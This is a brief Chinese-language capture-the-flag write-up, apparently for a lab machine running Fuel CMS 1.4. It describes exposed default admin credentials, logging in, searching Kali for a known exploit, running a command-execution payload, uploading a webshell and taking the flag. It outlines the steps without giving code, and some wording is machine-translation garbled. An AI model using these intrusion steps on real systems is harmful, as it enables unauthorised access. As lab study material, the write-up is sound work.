首先显示是一个叫Fuel CMS的CMS,版本号是1.4
裸露了目录的一些门路信息
裸露了原始登录明码：
That's it!To access the FUEL admin, go to:http://10.10.248.97/fuelUser name: adminPassword: admin (you can and should change this password and admin user information after logging in)咱们应用admin:admin到http://10.10.248.97/fuel登录，能够登录！
然而进去貌似找不到能够批改php源码的入口
在kali搜寻这个cms的可利用破绽

payload,执行ls命令

下载一个正经的webshell

获取webshell，拿到flag
